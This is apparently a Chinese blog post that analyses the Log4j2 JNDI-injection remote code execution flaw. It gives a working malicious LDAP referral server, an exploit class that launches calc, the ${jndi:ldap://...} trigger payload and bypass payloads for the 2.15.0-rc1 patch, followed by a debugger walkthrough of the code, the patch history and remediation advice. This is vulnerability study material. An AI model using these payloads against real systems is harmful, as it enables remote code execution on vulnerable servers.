• Log4j2 RCE:顶级供应链漏洞


    0x00 前言

    log4j核弹级漏洞出来了一段时间,一直没有基础来分析。补了java基础后赶紧来分析一波

    Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

    这次受影响的组件有:

    • Springboot:默认情况是使用logback进行日志记录,但如果spring使用log4j则可能会存在漏洞
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
            <version>2.6.1</version>
        </dependency>
    </dependencies>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • Apache Struts2
    • Apache Solr
    • Elasticsearch
    • vmware 产品线包括但不限于vCenter 在内的多个产品
    • 等等

    0x01 漏洞复现

    影响版本:2.x<=2.15.0-rc1

    log4j rce本质是JNDI注入

    所以首先搭一个LDAP服务器

    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    
    public class LdapServer {
        private static final String LDAP_BASE = "dc=example,dc=com";
    
        public static void main(String[] argsx) {
            String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
            //将LDAP服务设置在7777端口
            int port = 7777;
    
    
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen", //$NON-NLS-1$
                        InetAddress.getByName("127.0.0.1"), //$NON-NLS-1$
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 127.0.0.1:" + port); //$NON-NLS-1$
                ds.startListening();
    
            }
            catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            private URL codebase;
    
            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }
    
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
            }
    
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "foo");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if ( refPos > 0 ) {
                    cbstring = cbstring.substring(0, refPos);
                }
                //cbstring = "http://127.0.0.1"
                e.addAttribute("javaCodeBase", cbstring);
                e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
                //this.codebase.getRef() = "ExploitObject"
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87

    然后写一个恶意Factory类,编译为class放置于8080端口

    import java.io.IOException;
    
    public class ExploitObject {
        static {
            try {
    
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
        public static void main(String[] args) {
            System.out.println("Calc Running ...");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Jps1WfK3-1660209714383)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811143610992.png)]

    最终被害客户端请求恶意ldap服务器,导致命令执行

    //客户端需要log4j依赖
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    只要日志中含有以下 payload 那么就会导致触发,该漏洞通过 JNDI 注入的手法来进行利用

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-29uSqGDy-1660209714384)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811144205930.png)]

    0x02 漏洞分析

    该漏洞主要是因为log4j2对JNDI Lookup 做了支持,如果消息中包含jndi:的话则会调用jndi resolver进行处理

    开始断点分析,对于logger.error("${jndi:ldap://127.0.0.1:7777/ExploitObject}");来说前半部分都是跟appender相关,该组件是决定日志输出位置的包括控制台console,文件,数据库等等,默认是输出到console中

    略过前面这些代码,直接来到关键入口处:org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9BsoGwVQ-1660209714385)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811150720883.png)]

    首先会判断是否允许lookup,在2.15.0-rc1之前默认是开启lookup功能的,这也就导致默认可进行JNDI查询

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0sdmrbks-1660209714385)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811150923980.png)]

    workingbuild中存放的是消息记录。结构为时间,方法名,日志级别,类名以及我们的payload

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z7BAWVOg-1660209714385)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811151318723.png)]

    然后截取${后面的赋值给value,此时value为我们的payload:${jndi:ldap://127.0.0.1:7777/ExploitObject}

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-msjAOKEo-1660209714386)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811151539942.png)]

    接下来调用replace方法,最终来到substitute方法

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YJ4AAmQH-1660209714386)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811151706406.png)]

    在substitute方法中先将buf赋值给char数组然后循环递归寻找${,记住其出现的位置startMatchLen

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SMxQgRmh-1660209714387)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152007226.png)]

    然后再寻找}出现的位置

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DopWz961-1660209714387)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152223619.png)]

    然后将 ${} 中间的内容取出来

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kEDO5TAF-1660209714387)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152436217.png)]

    然后又会调用 this.subtitute 来处理

    ps:这里再次调用 substitute 是为了处理多个层级的 ${} 问题,这个会在后面进行介绍

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-04tkmIwG-1660209714388)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152608393.png)]

    跟进这个subtitute,由于这次已经没有的${所以会来到最下面,此时varname是我们传入的bufname即jndi:ldap://127.0.0.1:7777/ExploitObject

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W9p4vOcl-1660209714388)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152821424.png)]

    这个resolveVariable作用是解析变量,根据varname参数找到对应的resolver然后解析varname,跟进resolveVariable看看

    首先会调用getVariableResolver获取所有的resolver,可以看到里面包含我们需要的JNDI resolver

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bsJ58GbZ-1660209714388)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811153035442.png)]

    接下来调用lookup方法获取与payload对应的,跟进lookup

    可以看到,首先寻找字符串中等号出现的位置,然后截取等号之前的以及之后的分别赋给不同变量

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2E5QoW98-1660209714388)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811153529066.png)]

    然后根据prefix寻找到对应的resolver:JndiLookup

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-870Op9lD-1660209714389)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811154605012.png)]

    然后调用其lookup函数,name为ldap://127.0.0.1:7777/ExploitObject

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F09XGGc1-1660209714389)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811154733513.png)]

    跟进lookup方法

    Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KZelP6ic-1660209714389)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811155014390.png)]

    跟进lookup,可以看到利用JndiManager的context来完成后续的JNDI查询

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2hIiVkTp-1660209714389)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811155135677.png)]

    后面就是jndi查询操作了,获取reference对象解析并加载远程恶意Factory,此时就会造成命令执行

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mqNPBwIz-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811155306998.png)]

    总结:log4j获取${}内部值开始解析变量,首先根据冒号前面的字符串找到其对应的resolver:JndiLookup类。然后实例化一个JndiManager利用其成员变量context调用lookup方法并传入冒号之后的内容完成JNDI查询,由于参数可控到了JNDI注入

    0x03 漏洞修复

    rc1绕过

    https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

    下载后,将其中的log4j-core打成jar包然后导入进来即可使用
    https://blog.csdn.net/LXWalaz1s1s/article/details/107607607

    在漏洞爆发之初官方首先发布了log4j-2.15.0-rc1 安全更新包,但经过研究发现在开启lookup配置时,可以绕过该补丁

    在该版本中默认时不开启lookup功能的

    还记得debug调试刚开始的MessagePatternConverter嘛,修改了其newInstance方法

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ASi3Vd7E-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811160754511.png)]

    跟进loadLookups,可以看到判断是否开启了LOOKUPS,默认是不开启的所以会返回false

    所以就不会获得LookupMessagePatternConverter来进行 Lookup 和替换

    引用su师傅的一段话

    在rc1版本,MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverterFormattedMessagePatternConverterLookupMessagePatternConverterRenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换。

    https://su18.org/post/log4j2/#rc1-及绕过

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gQhAqbKw-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811164250833.png)]

    在默认情况下,将使用 SimpleMessagePatternConverter 进行消息的格式化处理,不会解析其中的 ${} 关键字。

    另外一点是在刚才漏洞分析中最后一步JndiManager#lookup那,本来是

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TQcFtcoK-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811155135677.png)]

    在rc1版本为

    public synchronized <T> T lookup(final String name) throws NamingException {
            try {
                URI uri = new URI(name);
                if (uri.getScheme() != null) {
                    if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                        LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                        return null;
                    }
                    if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                        if (!allowedHosts.contains(uri.getHost())) {
                            LOGGER.warn("Attempt to access ldap server not in allowed list");
                            return null;
                        }
                        Attributes attributes = this.context.getAttributes(name);
                        if (attributes != null) {
                            // In testing the "key" for attributes seems to be lowercase while the attribute id is
                            // camelcase, but that may just be true for the test LDAP used here. This copies the Attributes
                            // to a Map ignoring the "key" and using the Attribute's id as the key in the Map so it matches
                            // the Java schema.
                            Map<String, Attribute> attributeMap = new HashMap<>();
                            NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                            while (enumeration.hasMore()) {
                                Attribute attribute = enumeration.next();
                                attributeMap.put(attribute.getID(), attribute);
                            }
                            Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                            if (attributeMap.get(SERIALIZED_DATA) != null) {
                                if (classNameAttr != null) {
                                    String className = classNameAttr.get().toString();
                                    if (!allowedClasses.contains(className)) {
                                        LOGGER.warn("Deserialization of {} is not allowed", className);
                                        return null;
                                    }
                                } else {
                                    LOGGER.warn("No class name provided for {}", name);
                                    return null;
                                }
                            } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                                    || attributeMap.get(OBJECT_FACTORY) != null) {
                                LOGGER.warn("Referenceable class is not allowed for {}", name);
                                return null;
                            }
                        }
                    }
                }
            } catch (URISyntaxException ex) {
                // This is OK.
            }
            return (T) this.context.lookup(name);
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    在createManager时候添加白名单 JNDI 协议、白名单主机名、白名单类名

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IKhRrQ2P-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811161618108.png)]

    其中 permanentAllowedHosts 是本地 IP,permanentAllowedClasses 是八大基础数据类型加 CharacterpermanentAllowedProtocols 包含 java/ldap/ldaps。

    其在lookup中做了校验判断,主要是host白名单只允许127.0.0.1这种地址,所以无法进行远程JNDI注入了

    但是由于程序在 catch 住异常后没有 return,所以说可以在lookup第一步new url时使其报错URISyntaxException来绕过校验,直接来到最后一行this.context.lookup处

    例如在URI中插入空格等等

    ${jndi:ldap://127.0.0.1:1389/\$ExploitObject}
    ${jndi:ldap://127.0.0.1:1389/ ExploitObject}
    ${jndi:ldap://127.0.0.1:1389/\u0000ExploitObject}
    ...
    
    • 1
    • 2
    • 3
    • 4

    绕过复现:

    在rc1版本中需要打开lookup功能

    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    import org.apache.logging.log4j.core.LogEvent;
    import org.apache.logging.log4j.core.config.Configuration;
    import org.apache.logging.log4j.core.config.DefaultConfiguration;
    import org.apache.logging.log4j.core.impl.MutableLogEvent;
    import org.apache.logging.log4j.core.pattern.MessagePatternConverter;
    
    public class Test {
        public static void main(String[] args) {
            Logger logger = LogManager.getLogger();
            //获取一个configuration做为后面的参数输入
            Configuration configuration做为后面的参数输入 = new DefaultConfiguration();
            //这里对应上面说的newinstance,为了能获取到LookupMessagePatternConverter,需要传入option为lookups。此时才会返回true
            MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,new String[]{"lookups"});
            //调用messagePatternConverter.format,后面就是跟漏洞分析小节一样。唯一不同就是在最后lookup处发生异常绕过了校验,注意下面payload:7777/后面有个空格
            LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:7777/ ExploitObject}"),null);
            messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:7777/ ExploitObject}"));
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vDsMT3L2-1660209714391)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811165003133.png)]

    虽然绕过了校验,但是由于在rc1之后lookup默认为关闭状态,所以危害比较低

    rc2修复

    在rc2版本,其在catch中添加了return,修复了rc1中的绕过方式

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2GLwlooX-1660209714391)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811170005868.png)]

    之后版本

    https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea

    再在后面版本官方引入了一个 log4j2.enableJndi 参数用来表示是否开启 Jndi。只有在enable状态下才会将类 JndiLookup 加入

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rSTcJjOf-1660209714391)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811170222917.png)]

    并且保留了jndimanager#lookup中的校验机制

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-thARn0rj-1660209714391)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811170321909.png)]

    所以说只要在未开启log4j2.enableJndi 时,就找不到JndiLookup类,从而也就无法实现后续的JndiLookup.lookup创建jndimanager并调用其lookup方法进行JNDI注入

    在2.16.0-rc1版本,删除掉了LookupMessagePatternConverter类,也就无法实现lookup功能了。所以说在该版本之后log4j2 不再支持日志消息的 Lookup 功能

    从这个版本之后,log4j RCE已经不太可能实现了

    0x04 修复方案

    这里贴一张奇安信的修复建议

    前两条只限制在2.10之后的版本有效

    移除JndiLookup类可谓是简单粗暴

    第四条是因为在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false从而导致客户端默认不会请求远程Server上的恶意 Class

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OQwHdQOe-1660209714392)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811171213659.png)]

    0x05 总结

    总的来说是因为log4j对于JNDI查询的支持,首先获取${}内部值开始解析变量,根据冒号前面的字符串找到其对应的resolver:JndiLookup类。在JndiLookup.lookup中实例化了一个JndiManager然后利用其成员变量context调用lookup方法并传入冒号之后的内容完成JNDI查询,由于参数可控导致了JNDI注入

    在rc1之后的版本默认关闭了lookup支持,其中MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverterFormattedMessagePatternConverterLookupMessagePatternConverterRenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换。一般默认情况下是SimpleMessagePatternConverter,而这个是不会解析${}的

    因为catch代码块没return导致绕过了rc1,但是呢很快在rc2改了过了

    在后续的版本限制了JndiLookup类的加入,最后直接移除了LookupMessagePatternConverter即不允许lookup操作

    这场因为JNDI注入引发的核弹级漏洞终于落下了帷幕

    0x06 参考文章

    https://su18.org/post/log4j2/

    https://www.yuque.com/tianxiadamutou/zcfd4v/els4r7

    https://blog.csdn.net/qq_35733751/article/details/118767640

    https://www.cnblogs.com/CoLo/p/15531591.html

    https://blog.csdn.net/LXWalaz1s1s/article/details/107607607

  • 相关阅读:
    344. 反转字符串
    Linux-shell常用运维指令
    Three.js初识:渲染立方体、3d字体、修改渲染背景颜色
    ccf等会议排行参考
    【C++】string类模拟实现下篇(附完整源码)
    第二课第一周大作业--构建和评估一个线性风险模型
    VERTU广告登陆央视:情怀与创新的恪守之道
    胡说八道(24.6.11)——数电及STM32
    【WebLogic】WebLogic 2023年7月补丁导致JVM崩溃的解决方案
    CPP-Templates-2nd--第十九章 萃取的实现 19.1-19.3
  • 原文地址:https://blog.csdn.net/weixin_43263451/article/details/126289723